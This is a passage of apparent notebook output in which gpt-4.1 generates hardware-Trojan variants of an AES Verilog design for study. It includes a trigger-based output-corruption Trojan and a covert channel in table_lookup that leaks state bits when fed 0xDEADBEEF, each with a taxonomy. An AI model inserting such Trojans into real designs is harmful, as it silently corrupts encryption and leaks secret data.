            "    8'h0d: out <= 8'hb5;\n",
            "    8'h0e: out <= 8'h4d;\n",
            "    8'h0f: out <= 8'hec;\n",
            "    8'h10: out <= 8'h8f;\n",
            "    8'h11: out <= 8'h1f;\n",
            "    8'h12: out <= 8'h89;\n",
            "    8'h13: out <= 8'hfa;\n",
            "    8'h14: out <= 8'hef;\n",
            "    8'h15: out <= 8'hb2;\n",
            "    8'h16: out <= 8'h8e;\n",
            "    8'h17: out <= 8'hfb;\n",
            "    8'h18: out <= 8'h41;\n",
            "    8'h19: out <= 8'hb3;\n",
            "    8'h1a: out <= 8'h5f;\n",
            "    8'h1b: out <= 8'h45;\n",
            "    8'h1c: out <= 8'h23;\n",
            "    8'h1d: out <= 8'h53;\n",
            "    8'h1e: out <= 8'he4;\n",
            "    8'h1f: out <= 8'h9b;\n",
            "    8'h20: out <= 8'h75;\n",
            "    8'h21: out <= 8'he1;\n",
            "    8'h22: out <= 8'h3d;\n",
            "    8'h23: out <= 8'h4c;\n",
            "    8'h24: out <= 8'h6c;\n",
            "    8'h25: out <= 8'h7e;\n",
            "    8'h26: out <= 8'hf5;\n",
            "    8'h27: out <= 8'h83;\n",
            "    8'h28: out <= 8'h68;\n",
            "    8'h29: out <= 8'h51;\n",
            "    8'h2a: out <= 8'hd1;\n",
            "    8'h2b: out <= 8'hf9;\n",
            "    8'h2c: out <= 8'he2;\n",
            "    8'h2d: out <= 8'hab;\n",
            "    8'h2e: out <= 8'h62;\n",
            "    8'h2f: out <= 8'h2a;\n",
            "    8'h30: out <= 8'h08;\n",
            "    8'h31: out <= 8'h95;\n",
            "    8'h32: out <= 8'h46;\n",
            "    8'h33: out <= 8'h9d;\n",
            "    8'h34: out <= 8'h30;\n",
            "    8'h35: out <= 8'h37;\n",
            "    8'h36: out <= 8'h0a;\n",
            "    8'h37: out <= 8'h2f;\n",
            "    8'h38: out <= 8'h0e;\n",
            "    8'h39: out <= 8'h24;\n",
            "    8'h3a: out <= 8'h1b;\n",
            "    8'h3b: out <= 8'hdf;\n",
            "    8'h3c: out <= 8'hcd;\n",
            "    8'h3d: out <= 8'h4e;\n",
            "    8'h3e: out <= 8'h7f;\n",
            "    8'h3f: out <= 8'hea;\n",
            "    8'h40: out <= 8'h12;\n",
            "    8'h41: out <= 8'h1d;\n",
            "    8'h42: out <= 8'h58;\n",
            "    8'h43: out <= 8'h34;\n",
            "    8'h44: out <= 8'h36;\n",
            "    8'h45: out <= 8'hdc;\n",
            "    8'h46: out <= 8'hb4;\n",
            "    8'h47: out <= 8'h5b;\n",
            "    8'h48: out <= 8'ha4;\n",
            "    8'h49: out <= 8'h76;\n",
            "    8'h4a: out <= 8'hb7;\n",
            "    8'h4b: out <= 8'h7d;\n",
            "    8'h4c: out <= 8'h52;\n",
            "    8'h4d: out <= 8'hdd;\n",
            "    8'h4e: out <= 8'h5e;\n",
            "    8'h4f: out <= 8'h13;\n",
            "    8'h50: out <= 8'ha6;\n",
            "    8'h51: out <= 8'hb9;\n",
            "    8'h52: out <= 8'h00;\n",
            "    8'h53: out <= 8'hc1;\n",
            "    8'h54: out <= 8'h40;\n",
            "    8'h55: out <= 8'he3;\n",
            "    8'h56: out <= 8'h79;\n",
            "    8'h57: out <= 8'hb6;\n",
            "    8'h58: out <= 8'hd4;\n",
            "    8'h59: out <= 8'h8d;\n",
            "    8'h5a: out <= 8'h67;\n",
            "    8'h5b: out <= 8'h72;\n",
            "    8'h5c: out <= 8'h94;\n",
            "    8'h5d: out <= 8'h98;\n",
            "    8'h5e: out <= 8'hb0;\n",
            "    8'h5f: out <= 8'h85;\n",
            "    8'h60: out <= 8'hbb;\n",
            "    8'h61: out <= 8'hc5;\n",
            "    8'h62: out <= 8'h4f;\n",
            "    8'h63: out <= 8'hed;\n",
            "    8'h64: out <= 8'h86;\n",
            "    8'h65: out <= 8'h9a;\n",
            "    8'h66: out <= 8'h66;\n",
            "    8'h67: out <= 8'h11;\n",
            "    8'h68: out <= 8'h8a;\n",
            "    8'h69: out <= 8'he9;\n",
            "    8'h6a: out <= 8'h04;\n",
            "    8'h6b: out <= 8'hfe;\n",
            "    8'h6c: out <= 8'ha0;\n",
            "    8'h6d: out <= 8'h78;\n",
            "    8'h6e: out <= 8'h25;\n",
            "    8'h6f: out <= 8'h4b;\n",
            "    8'h70: out <= 8'ha2;\n",
            "    8'h71: out <= 8'h5d;\n",
            "    8'h72: out <= 8'h80;\n",
            "    8'h73: out <= 8'h05;\n",
            "    8'h74: out <= 8'h3f;\n",
            "    8'h75: out <= 8'h21;\n",
            "    8'h76: out <= 8'h70;\n",
            "    8'h77: out <= 8'hf1;\n",
            "    8'h78: out <= 8'h63;\n",
            "    8'h79: out <= 8'h77;\n",
            "    8'h7a: out <= 8'haf;\n",
            "    8'h7b: out <= 8'h42;\n",
            "    8'h7c: out <= 8'h20;\n",
            "    8'h7d: out <= 8'he5;\n",
            "    8'h7e: out <= 8'hfd;\n",
            "    8'h7f: out <= 8'hbf;\n",
            "    8'h80: out <= 8'h81;\n",
            "    8'h81: out <= 8'h18;\n",
            "    8'h82: out <= 8'h26;\n",
            "    8'h83: out <= 8'hc3;\n",
            "    8'h84: out <= 8'hbe;\n",
            "    8'h85: out <= 8'h35;\n",
            "    8'h86: out <= 8'h88;\n",
            "    8'h87: out <= 8'h2e;\n",
            "    8'h88: out <= 8'h93;\n",
            "    8'h89: out <= 8'h55;\n",
            "    8'h8a: out <= 8'hfc;\n",
            "    8'h8b: out <= 8'h7a;\n",
            "    8'h8c: out <= 8'hc8;\n",
            "    8'h8d: out <= 8'hba;\n",
            "    8'h8e: out <= 8'h32;\n",
            "    8'h8f: out <= 8'he6;\n",
            "    8'h90: out <= 8'hc0;\n",
            "    8'h91: out <= 8'h19;\n",
            "    8'h92: out <= 8'h9e;\n",
            "    8'h93: out <= 8'ha3;\n",
            "    8'h94: out <= 8'h44;\n",
            "    8'h95: out <= 8'h54;\n",
            "    8'h96: out <= 8'h3b;\n",
            "    8'h97: out <= 8'h0b;\n",
            "    8'h98: out <= 8'h8c;\n",
            "    8'h99: out <= 8'hc7;\n",
            "    8'h9a: out <= 8'h6b;\n",
            "    8'h9b: out <= 8'h28;\n",
            "    8'h9c: out <= 8'ha7;\n",
            "    8'h9d: out <= 8'hbc;\n",
            "    8'h9e: out <= 8'h16;\n",
            "    8'h9f: out <= 8'had;\n",
            "    8'ha0: out <= 8'hdb;\n",
            "    8'ha1: out <= 8'h64;\n",
            "    8'ha2: out <= 8'h74;\n",
            "    8'ha3: out <= 8'h14;\n",
            "    8'ha4: out <= 8'h92;\n",
            "    8'ha5: out <= 8'h0c;\n",
            "    8'ha6: out <= 8'h48;\n",
            "    8'ha7: out <= 8'hb8;\n",
            "    8'ha8: out <= 8'h9f;\n",
            "    8'ha9: out <= 8'hbd;\n",
            "    8'haa: out <= 8'h43;\n",
            "    8'hab: out <= 8'hc4;\n",
            "    8'hac: out <= 8'h39;\n",
            "    8'had: out <= 8'h31;\n",
            "    8'hae: out <= 8'hd3;\n",
            "    8'haf: out <= 8'hf2;\n",
            "    8'hb0: out <= 8'hd5;\n",
            "    8'hb1: out <= 8'h8b;\n",
            "    8'hb2: out <= 8'h6e;\n",
            "    8'hb3: out <= 8'hda;\n",
            "    8'hb4: out <= 8'h01;\n",
            "    8'hb5: out <= 8'hb1;\n",
            "    8'hb6: out <= 8'h9c;\n",
            "    8'hb7: out <= 8'h49;\n",
            "    8'hb8: out <= 8'hd8;\n",
            "    8'hb9: out <= 8'hac;\n",
            "    8'hba: out <= 8'hf3;\n",
            "    8'hbb: out <= 8'hcf;\n",
            "    8'hbc: out <= 8'hca;\n",
            "    8'hbd: out <= 8'hf4;\n",
            "    8'hbe: out <= 8'h47;\n",
            "    8'hbf: out <= 8'h10;\n",
            "    8'hc0: out <= 8'h6f;\n",
            "    8'hc1: out <= 8'hf0;\n",
            "    8'hc2: out <= 8'h4a;\n",
            "    8'hc3: out <= 8'h5c;\n",
            "    8'hc4: out <= 8'h38;\n",
            "    8'hc5: out <= 8'h57;\n",
            "    8'hc6: out <= 8'h73;\n",
            "    8'hc7: out <= 8'h97;\n",
            "    8'hc8: out <= 8'hcb;\n",
            "    8'hc9: out <= 8'ha1;\n",
            "    8'hca: out <= 8'he8;\n",
            "    8'hcb: out <= 8'h3e;\n",
            "    8'hcc: out <= 8'h96;\n",
            "    8'hcd: out <= 8'h61;\n",
            "    8'hce: out <= 8'h0d;\n",
            "    8'hcf: out <= 8'h0f;\n",
            "    8'hd0: out <= 8'he0;\n",
            "    8'hd1: out <= 8'h7c;\n",
            "    8'hd2: out <= 8'h71;\n",
            "    8'hd3: out <= 8'hcc;\n",
            "    8'hd4: out <= 8'h90;\n",
            "    8'hd5: out <= 8'h06;\n",
            "    8'hd6: out <= 8'hf7;\n",
            "    8'hd7: out <= 8'h1c;\n",
            "    8'hd8: out <= 8'hc2;\n",
            "    8'hd9: out <= 8'h6a;\n",
            "    8'hda: out <= 8'hae;\n",
            "    8'hdb: out <= 8'h69;\n",
            "    8'hdc: out <= 8'h17;\n",
            "    8'hdd: out <= 8'h99;\n",
            "    8'hde: out <= 8'h3a;\n",
            "    8'hdf: out <= 8'h27;\n",
            "    8'he0: out <= 8'hd9;\n",
            "    8'he1: out <= 8'heb;\n",
            "    8'he2: out <= 8'h2b;\n",
            "    8'he3: out <= 8'h22;\n",
            "    8'he4: out <= 8'hd2;\n",
            "    8'he5: out <= 8'ha9;\n",
            "    8'he6: out <= 8'h07;\n",
            "    8'he7: out <= 8'h33;\n",
            "    8'he8: out <= 8'h2d;\n",
            "    8'he9: out <= 8'h3c;\n",
            "    8'hea: out <= 8'h15;\n",
            "    8'heb: out <= 8'hc9;\n",
            "    8'hec: out <= 8'h87;\n",
            "    8'hed: out <= 8'haa;\n",
            "    8'hee: out <= 8'h50;\n",
            "    8'hef: out <= 8'ha5;\n",
            "    8'hf0: out <= 8'h03;\n",
            "    8'hf1: out <= 8'h59;\n",
            "    8'hf2: out <= 8'h09;\n",
            "    8'hf3: out <= 8'h1a;\n",
            "    8'hf4: out <= 8'h65;\n",
            "    8'hf5: out <= 8'hd7;\n",
            "    8'hf6: out <= 8'h84;\n",
            "    8'hf7: out <= 8'hd0;\n",
            "    8'hf8: out <= 8'h82;\n",
            "    8'hf9: out <= 8'h29;\n",
            "    8'hfa: out <= 8'h5a;\n",
            "    8'hfb: out <= 8'h1e;\n",
            "    8'hfc: out <= 8'h7b;\n",
            "    8'hfd: out <= 8'ha8;\n",
            "    8'hfe: out <= 8'h6d;\n",
            "    8'hff: out <= 8'h2c;\n",
            "    default: out <= 8'h00;\n",
            "    endcase\n",
            "endmodule\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A change-functionality Trojan was inserted into the T module: if the input 'in' remains at 8'hAC for 10 cycles, a hidden trigger activates and corrupts the output by bit-reversing out[23:16]. This only alters behavior under rare, specific operating conditions, preserving normal functionality otherwise.\n",
            "\n",
            "Trigger:\n",
            "The Trojan is triggered if the T module input 'in' equals 8'hAC for ten consecutive clock cycles without reset; this is detected via a hidden counter and flag.\n",
            "\n",
            "Payload:\n",
            "Once triggered, the Trojan payload corrupts the 2nd output byte (out[23:16]) by outputting its bitwise reverse value, leading to incorrect transformation results only under the trigger condition.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally (rare input pattern and time sequence)  \n",
            "Effects: change functionality  \n",
            "Location: Processor (specifically, inside the S-box transformation datapath)  \n",
            "Characteristics: Distributed, Small, Functional Trojan\n",
            "Saving vulnerable design to: aes/gpt-4.1/table/table_HT1_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/table/table_HT1_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "module table_lookup (clk, rst_n, state, p0, p1, p2, p3, trojan_covert_out, trojan_trigger_in);\n",
            "    input clk;\n",
            "    input rst_n; // Synchronous active-low reset (Trojan: added for state initialization)\n",
            "    input [31:0] state;\n",
            "    output [31:0] p0, p1, p2, p3;\n",
            "    output trojan_covert_out; // Trojan: covert output channel\n",
            "    input  trojan_trigger_in; // Trojan: trigger input for external manipulation (could be tied to 0)\n",
            "    wire [7:0] b0, b1, b2, b3;\n",
            "\n",
            "    assign {b0, b1, b2, b3} = state;\n",
            "    T\n",
            "        t0 (clk, rst_n, b0, {p0[23:0], p0[31:24]}),\n",
            "        t1 (clk, rst_n, b1, {p1[15:0], p1[31:16]}),\n",
            "        t2 (clk, rst_n, b2, {p2[7:0],  p2[31:8]} ),\n",
            "        t3 (clk, rst_n, b3, p3);\n",
            "\n",
            "    // Trojan insertion BEGIN\n",
            "    // A 4-bit counter for recognizing specific pattern in state\n",
            "    reg [3:0] trojan_cnt;\n",
            "    reg trojan_active;\n",
            "    wire trojan_trigger_pattern = (state == 32'hDEADBEEF) && trojan_trigger_in;\n",
            "    reg [7:0] leak_data;\n",
            "    reg trojan_out_reg;\n",
            "    assign trojan_covert_out = trojan_out_reg;\n",
            "    always @(posedge clk or negedge rst_n) begin\n",
            "        if (!rst_n) begin\n",
            "            trojan_cnt      <= 4'b0;\n",
            "            trojan_active   <= 1'b0;\n",
            "            leak_data       <= 8'b0;\n",
            "            trojan_out_reg  <= 1'b0;\n",
            "        end else begin\n",
            "            if (trojan_trigger_pattern)\n",
            "                trojan_active <= 1'b1;\n",
            "            else if (trojan_cnt == 8)\n",
            "                trojan_active <= 1'b0;\n",
            "\n",
            "            if (trojan_active) begin\n",
            "                // Leak the MSB byte of state, one bit at a time\n",
            "                leak_data <= state[31:24];\n",
            "                if (trojan_cnt < 8) begin\n",
            "                    trojan_out_reg <= state[31 - trojan_cnt];\n",
            "                    trojan_cnt <= trojan_cnt + 1'b1;\n",
            "                end\n",
            "            end else begin\n",
            "                trojan_cnt     <= 4'b0;\n",
            "                trojan_out_reg <= 1'b0;\n",
            "                leak_data      <= 8'b0;\n",
            "            end\n",
            "        end\n",
            "    end\n",
            "    // Trojan insertion END\n",
            "endmodule\n",
            "\n",
            "/* substitue four bytes in a word */\n",
            "module S4 (clk, rst_n, in, out);\n",
            "    input clk;\n",
            "    input rst_n;\n",
            "    input [31:0] in;\n",
            "    output [31:0] out;\n",
            "\n",
            "    S\n",
            "        S_0 (clk, rst_n, in[31:24], out[31:24]),\n",
            "        S_1 (clk, rst_n, in[23:16], out[23:16]),\n",
            "        S_2 (clk, rst_n, in[15:8],  out[15:8] ),\n",
            "        S_3 (clk, rst_n, in[7:0],   out[7:0]  );\n",
            "endmodule\n",
            "\n",
            "/* S_box, S_box, S_box*(x+1), S_box*x */\n",
            "module T (clk, rst_n, in, out);\n",
            "    input         clk;\n",
            "    input         rst_n;\n",
            "    input  [7:0]  in;\n",
            "    output [31:0] out;\n",
            "\n",
            "    S\n",
            "        s0 (clk, rst_n, in, out[31:24]);\n",
            "    assign out[23:16] = out[31:24];\n",
            "    xS\n",
            "        s4 (clk, rst_n, in, out[7:0]);\n",
            "    assign out[15:8] = out[23:16] ^ out[7:0];\n",
            "endmodule\n",
            "\n",
            "/* S box */\n",
            "module S (clk, rst_n, in, out);\n",
            "    input clk;\n",
            "    input rst_n;\n",
            "    input [7:0] in;\n",
            "    output reg [7:0] out;\n",
            "\n",
            "    always @ (posedge clk or negedge rst_n)\n",
            "    if (!rst_n) out <= 8'b0; else\n",
            "    case (in)\n",
            "    8'h00: out <= 8'h63;\n",
            "    8'h01: out <= 8'h7c;\n",
            "    8'h02: out <= 8'h77;\n",
            "    8'h03: out <= 8'h7b;\n",
            "    8'h04: out <= 8'hf2;\n",
            "    8'h05: out <= 8'h6b;\n",
            "    8'h06: out <= 8'h6f;\n",
            "    8'h07: out <= 8'hc5;\n",
            "    8'h08: out <= 8'h30;\n",
            "    8'h09: out <= 8'h01;\n",
            "    8'h0a: out <= 8'h67;\n",
            "    8'h0b: out <= 8'h2b;\n",
            "    8'h0c: out <= 8'hfe;\n",
            "    8'h0d: out <= 8'hd7;\n",
            "    8'h0e: out <= 8'hab;\n",
            "    8'h0f: out <= 8'h76;\n",
            "    8'h10: out <= 8'hca;\n",
            "    8'h11: out <= 8'h82;\n",
            "    8'h12: out <= 8'hc9;\n",
            "    8'h13: out <= 8'h7d;\n",
            "    8'h14: out <= 8'hfa;\n",
            "    8'h15: out <= 8'h59;\n",
            "    8'h16: out <= 8'h47;\n",
            "    8'h17: out <= 8'hf0;\n",
            "    8'h18: out <= 8'had;\n",
            "    8'h19: out <= 8'hd4;\n",
            "    8'h1a: out <= 8'ha2;\n",
            "    8'h1b: out <= 8'haf;\n",
            "    8'h1c: out <= 8'h9c;\n",
            "    8'h1d: out <= 8'ha4;\n",
            "    8'h1e: out <= 8'h72;\n",
            "    8'h1f: out <= 8'hc0;\n",
            "    8'h20: out <= 8'hb7;\n",
            "    8'h21: out <= 8'hfd;\n",
            "    8'h22: out <= 8'h93;\n",
            "    8'h23: out <= 8'h26;\n",
            "    8'h24: out <= 8'h36;\n",
            "    8'h25: out <= 8'h3f;\n",
            "    8'h26: out <= 8'hf7;\n",
            "    8'h27: out <= 8'hcc;\n",
            "    8'h28: out <= 8'h34;\n",
            "    8'h29: out <= 8'ha5;\n",
            "    8'h2a: out <= 8'he5;\n",
            "    8'h2b: out <= 8'hf1;\n",
            "    8'h2c: out <= 8'h71;\n",
            "    8'h2d: out <= 8'hd8;\n",
            "    8'h2e: out <= 8'h31;\n",
            "    8'h2f: out <= 8'h15;\n",
            "    8'h30: out <= 8'h04;\n",
            "    8'h31: out <= 8'hc7;\n",
            "    8'h32: out <= 8'h23;\n",
            "    8'h33: out <= 8'hc3;\n",
            "    8'h34: out <= 8'h18;\n",
            "    8'h35: out <= 8'h96;\n",
            "    8'h36: out <= 8'h05;\n",
            "    8'h37: out <= 8'h9a;\n",
            "    8'h38: out <= 8'h07;\n",
            "    8'h39: out <= 8'h12;\n",
            "    8'h3a: out <= 8'h80;\n",
            "    8'h3b: out <= 8'he2;\n",
            "    8'h3c: out <= 8'heb;\n",
            "    8'h3d: out <= 8'h27;\n",
            "    8'h3e: out <= 8'hb2;\n",
            "    8'h3f: out <= 8'h75;\n",
            "    8'h40: out <= 8'h09;\n",
            "    8'h41: out <= 8'h83;\n",
            "    8'h42: out <= 8'h2c;\n",
            "    8'h43: out <= 8'h1a;\n",
            "    8'h44: out <= 8'h1b;\n",
            "    8'h45: out <= 8'h6e;\n",
            "    8'h46: out <= 8'h5a;\n",
            "    8'h47: out <= 8'ha0;\n",
            "    8'h48: out <= 8'h52;\n",
            "    8'h49: out <= 8'h3b;\n",
            "    8'h4a: out <= 8'hd6;\n",
            "    8'h4b: out <= 8'hb3;\n",
            "    8'h4c: out <= 8'h29;\n",
            "    8'h4d: out <= 8'he3;\n",
            "    8'h4e: out <= 8'h2f;\n",
            "    8'h4f: out <= 8'h84;\n",
            "    8'h50: out <= 8'h53;\n",
            "    8'h51: out <= 8'hd1;\n",
            "    8'h52: out <= 8'h00;\n",
            "    8'h53: out <= 8'hed;\n",
            "    8'h54: out <= 8'h20;\n",
            "    8'h55: out <= 8'hfc;\n",
            "    8'h56: out <= 8'hb1;\n",
            "    8'h57: out <= 8'h5b;\n",
            "    8'h58: out <= 8'h6a;\n",
            "    8'h59: out <= 8'hcb;\n",
            "    8'h5a: out <= 8'hbe;\n",
            "    8'h5b: out <= 8'h39;\n",
            "    8'h5c: out <= 8'h4a;\n",
            "    8'h5d: out <= 8'h4c;\n",
            "    8'h5e: out <= 8'h58;\n",
            "    8'h5f: out <= 8'hcf;\n",
            "    8'h60: out <= 8'hd0;\n",
            "    8'h61: out <= 8'hef;\n",
            "    8'h62: out <= 8'haa;\n",
            "    8'h63: out <= 8'hfb;\n",
            "    8'h64: out <= 8'h43;\n",
            "    8'h65: out <= 8'h4d;\n",
            "    8'h66: out <= 8'h33;\n",
            "    8'h67: out <= 8'h85;\n",
            "    8'h68: out <= 8'h45;\n",
            "    8'h69: out <= 8'hf9;\n",
            "    8'h6a: out <= 8'h02;\n",
            "    8'h6b: out <= 8'h7f;\n",
            "    8'h6c: out <= 8'h50;\n",
            "    8'h6d: out <= 8'h3c;\n",
            "    8'h6e: out <= 8'h9f;\n",
            "    8'h6f: out <= 8'ha8;\n",
            "    8'h70: out <= 8'h51;\n",
            "    8'h71: out <= 8'ha3;\n",
            "    8'h72: out <= 8'h40;\n",
            "    8'h73: out <= 8'h8f;\n",
            "    8'h74: out <= 8'h92;\n",
            "    8'h75: out <= 8'h9d;\n",
            "    8'h76: out <= 8'h38;\n",
            "    8'h77: out <= 8'hf5;\n",
            "    8'h78: out <= 8'hbc;\n",
            "    8'h79: out <= 8'hb6;\n",
            "    8'h7a: out <= 8'hda;\n",
            "    8'h7b: out <= 8'h21;\n",
            "    8'h7c: out <= 8'h10;\n",
            "    8'h7d: out <= 8'hff;\n",
            "    8'h7e: out <= 8'hf3;\n",
            "    8'h7f: out <= 8'hd2;\n",
            "    8'h80: out <= 8'hcd;\n",
            "    8'h81: out <= 8'h0c;\n",
            "    8'h82: out <= 8'h13;\n",
            "    8'h83: out <= 8'hec;\n",
            "    8'h84: out <= 8'h5f;\n",
            "    8'h85: out <= 8'h97;\n",
            "    8'h86: out <= 8'h44;\n",
            "    8'h87: out <= 8'h17;\n",
            "    8'h88: out <= 8'hc4;\n",
            "    8'h89: out <= 8'ha7;\n",
            "    8'h8a: out <= 8'h7e;\n",
            "    8'h8b: out <= 8'h3d;\n",
            "    8'h8c: out <= 8'h64;\n",
            "    8'h8d: out <= 8'h5d;\n",
            "    8'h8e: out <= 8'h19;\n",
            "    8'h8f: out <= 8'h73;\n",
            "    8'h90: out <= 8'h60;\n",
            "    8'h91: out <= 8'h81;\n",
            "    8'h92: out <= 8'h4f;\n",
            "    8'h93: out <= 8'hdc;\n",
            "    8'h94: out <= 8'h22;\n",
            "    8'h95: out <= 8'h2a;\n",
            "    8'h96: out <= 8'h90;\n",
            "    8'h97: out <= 8'h88;\n",
            "    8'h98: out <= 8'h46;\n",
            "    8'h99: out <= 8'hee;\n",
            "    8'h9a: out <= 8'hb8;\n",
            "    8'h9b: out <= 8'h14;\n",
            "    8'h9c: out <= 8'hde;\n",
            "    8'h9d: out <= 8'h5e;\n",
            "    8'h9e: out <= 8'h0b;\n",
            "    8'h9f: out <= 8'hdb;\n",
            "    8'ha0: out <= 8'he0;\n",
            "    8'ha1: out <= 8'h32;\n",
            "    8'ha2: out <= 8'h3a;\n",
            "    8'ha3: out <= 8'h0a;\n",
            "    8'ha4: out <= 8'h49;\n",
            "    8'ha5: out <= 8'h06;\n",
            "    8'ha6: out <= 8'h24;\n",
            "    8'ha7: out <= 8'h5c;\n",
            "    8'ha8: out <= 8'hc2;\n",
            "    8'ha9: out <= 8'hd3;\n",
            "    8'haa: out <= 8'hac;\n",
            "    8'hab: out <= 8'h62;\n",
            "    8'hac: out <= 8'h91;\n",
            "    8'had: out <= 8'h95;\n",
            "    8'hae: out <= 8'he4;\n",
            "    8'haf: out <= 8'h79;\n",
            "    8'hb0: out <= 8'he7;\n",
            "    8'hb1: out <= 8'hc8;\n",
            "    8'hb2: out <= 8'h37;\n",
            "    8'hb3: out <= 8'h6d;\n",
            "    8'hb4: out <= 8'h8d;\n",
            "    8'hb5: out <= 8'hd5;\n",
            "    8'hb6: out <= 8'h4e;\n",
            "    8'hb7: out <= 8'ha9;\n",
            "    8'hb8: out <= 8'h6c;\n",
            "    8'hb9: out <= 8'h56;\n",
            "    8'hba: out <= 8'hf4;\n",
            "    8'hbb: out <= 8'hea;\n",
            "    8'hbc: out <= 8'h65;\n",
            "    8'hbd: out <= 8'h7a;\n",
            "    8'hbe: out <= 8'hae;\n",
            "    8'hbf: out <= 8'h08;\n",
            "    8'hc0: out <= 8'hba;\n",
            "    8'hc1: out <= 8'h78;\n",
            "    8'hc2: out <= 8'h25;\n",
            "    8'hc3: out <= 8'h2e;\n",
            "    8'hc4: out <= 8'h1c;\n",
            "    8'hc5: out <= 8'ha6;\n",
            "    8'hc6: out <= 8'hb4;\n",
            "    8'hc7: out <= 8'hc6;\n",
            "    8'hc8: out <= 8'he8;\n",
            "    8'hc9: out <= 8'hdd;\n",
            "    8'hca: out <= 8'h74;\n",
            "    8'hcb: out <= 8'h1f;\n",
            "    8'hcc: out <= 8'h4b;\n",
            "    8'hcd: out <= 8'hbd;\n",
            "    8'hce: out <= 8'h8b;\n",
            "    8'hcf: out <= 8'h8a;\n",
            "    8'hd0: out <= 8'h70;\n",
            "    8'hd1: out <= 8'h3e;\n",
            "    8'hd2: out <= 8'hb5;\n",
            "    8'hd3: out <= 8'h66;\n",
            "    8'hd4: out <= 8'h48;\n",
            "    8'hd5: out <= 8'h03;\n",
            "    8'hd6: out <= 8'hf6;\n",
            "    8'hd7: out <= 8'h0e;\n",
            "    8'hd8: out <= 8'h61;\n",
            "    8'hd9: out <= 8'h35;\n",
            "    8'hda: out <= 8'h57;\n",
            "    8'hdb: out <= 8'hb9;\n",
            "    8'hdc: out <= 8'h86;\n",
            "    8'hdd: out <= 8'hc1;\n",
            "    8'hde: out <= 8'h1d;\n",
            "    8'hdf: out <= 8'h9e;\n",
            "    8'he0: out <= 8'he1;\n",
            "    8'he1: out <= 8'hf8;\n",
            "    8'he2: out <= 8'h98;\n",
            "    8'he3: out <= 8'h11;\n",
            "    8'he4: out <= 8'h69;\n",
            "    8'he5: out <= 8'hd9;\n",
            "    8'he6: out <= 8'h8e;\n",
            "    8'he7: out <= 8'h94;\n",
            "    8'he8: out <= 8'h9b;\n",
            "    8'he9: out <= 8'h1e;\n",
            "    8'hea: out <= 8'h87;\n",
            "    8'heb: out <= 8'he9;\n",
            "    8'hec: out <= 8'hce;\n",
            "    8'hed: out <= 8'h55;\n",
            "    8'hee: out <= 8'h28;\n",
            "    8'hef: out <= 8'hdf;\n",
            "    8'hf0: out <= 8'h8c;\n",
            "    8'hf1: out <= 8'ha1;\n",
            "    8'hf2: out <= 8'h89;\n",
            "    8'hf3: out <= 8'h0d;\n",
            "    8'hf4: out <= 8'hbf;\n",
            "    8'hf5: out <= 8'he6;\n",
            "    8'hf6: out <= 8'h42;\n",
            "    8'hf7: out <= 8'h68;\n",
            "    8'hf8: out <= 8'h41;\n",
            "    8'hf9: out <= 8'h99;\n",
            "    8'hfa: out <= 8'h2d;\n",
            "    8'hfb: out <= 8'h0f;\n",
            "    8'hfc: out <= 8'hb0;\n",
            "    8'hfd: out <= 8'h54;\n",
            "    8'hfe: out <= 8'hbb;\n",
            "    8'hff: out <= 8'h16;\n",
            "    endcase\n",
            "endmodule\n",
            "\n",
            "/* S box * x */\n",
            "module xS (clk, rst_n, in, out);\n",
            "    input clk;\n",
            "    input rst_n;\n",
            "    input [7:0] in;\n",
            "    output reg [7:0] out;\n",
            "\n",
            "    always @ (posedge clk or negedge rst_n)\n",
            "    if (!rst_n) out <= 8'b0; else\n",
            "    case (in)\n",
            "    8'h00: out <= 8'hc6;\n",
            "    8'h01: out <= 8'hf8;\n",
            "    8'h02: out <= 8'hee;\n",
            "    8'h03: out <= 8'hf6;\n",
            "    8'h04: out <= 8'hff;\n",
            "    8'h05: out <= 8'hd6;\n",
            "    8'h06: out <= 8'hde;\n",
            "    8'h07: out <= 8'h91;\n",
            "    8'h08: out <= 8'h60;\n",
            "    8'h09: out <= 8'h02;\n",
            "    8'h0a: out <= 8'hce;\n",
            "    8'h0b: out <= 8'h56;\n",
            "    8'h0c: out <= 8'he7;\n",
            "    8'h0d: out <= 8'hb5;\n",
            "    8'h0e: out <= 8'h4d;\n",
            "    8'h0f: out <= 8'hec;\n",
            "    8'h10: out <= 8'h8f;\n",
            "    8'h11: out <= 8'h1f;\n",
            "    8'h12: out <= 8'h89;\n",
            "    8'h13: out <= 8'hfa;\n",
            "    8'h14: out <= 8'hef;\n",
            "    8'h15: out <= 8'hb2;\n",
            "    8'h16: out <= 8'h8e;\n",
            "    8'h17: out <= 8'hfb;\n",
            "    8'h18: out <= 8'h41;\n",
            "    8'h19: out <= 8'hb3;\n",
            "    8'h1a: out <= 8'h5f;\n",
            "    8'h1b: out <= 8'h45;\n",
            "    8'h1c: out <= 8'h23;\n",
            "    8'h1d: out <= 8'h53;\n",
            "    8'h1e: out <= 8'he4;\n",
            "    8'h1f: out <= 8'h9b;\n",
            "    8'h20: out <= 8'h75;\n",
            "    8'h21: out <= 8'he1;\n",
            "    8'h22: out <= 8'h3d;\n",
            "    8'h23: out <= 8'h4c;\n",
            "    8'h24: out <= 8'h6c;\n",
            "    8'h25: out <= 8'h7e;\n",
            "    8'h26: out <= 8'hf5;\n",
            "    8'h27: out <= 8'h83;\n",
            "    8'h28: out <= 8'h68;\n",
            "    8'h29: out <= 8'h51;\n",
            "    8'h2a: out <= 8'hd1;\n",
            "    8'h2b: out <= 8'hf9;\n",
            "    8'h2c: out <= 8'he2;\n",
            "    8'h2d: out <= 8'hab;\n",
            "    8'h2e: out <= 8'h62;\n",
            "    8'h2f: out <= 8'h2a;\n",
            "    8'h30: out <= 8'h08;\n",
